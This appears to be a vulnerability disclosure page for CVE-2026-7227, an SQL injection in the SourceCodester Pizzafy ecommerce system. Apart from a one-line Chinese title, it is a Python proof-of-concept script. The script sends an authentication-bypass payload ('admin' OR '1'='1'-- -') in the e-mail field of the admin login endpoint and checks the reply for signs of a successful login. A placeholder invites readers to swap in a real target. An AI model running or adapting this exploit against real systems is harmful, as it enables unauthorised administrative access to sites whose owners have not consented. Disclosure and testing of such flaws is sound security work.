CVE-2026-7227 SourceCodester Pizzafy SQL注入漏洞

import requests def verify_sqli(target_url): """ PoC for CVE-2026-7227 SQL Injection in Pizzafy Ecommerce System Target: /admin/ajax.php?action=login Parameter: e-mail """ # Vulnerable endpoint full_url = f"{target_url}/admin/ajax.php?action=login" # Payload to test for SQL Injection (e.g., Boolean-based) # Attempting to return True using logical injection payload = { "e-mail": "admin' OR '1'='1'-- -", "password": "randompassword" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: response = requests.post(full_url, data=payload, headers=headers, timeout=10) # Analyze response to check if injection was successful # Criteria may vary based on application response (e.g., welcome message, status code) if response.status_code == 200 and ("success" in response.text.lower() or "dashboard" in response.text.lower()): print(f"[+] Potential SQL Injection vulnerability confirmed at {target_url}") print(f"[+] Response: {response.text[:100]}") else: print(f"[-] Vulnerability could not be confirmed or target is not vulnerable.") print(f"[+] Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://127.0.0.1/pizzafy" # Replace with actual target verify_sqli(target)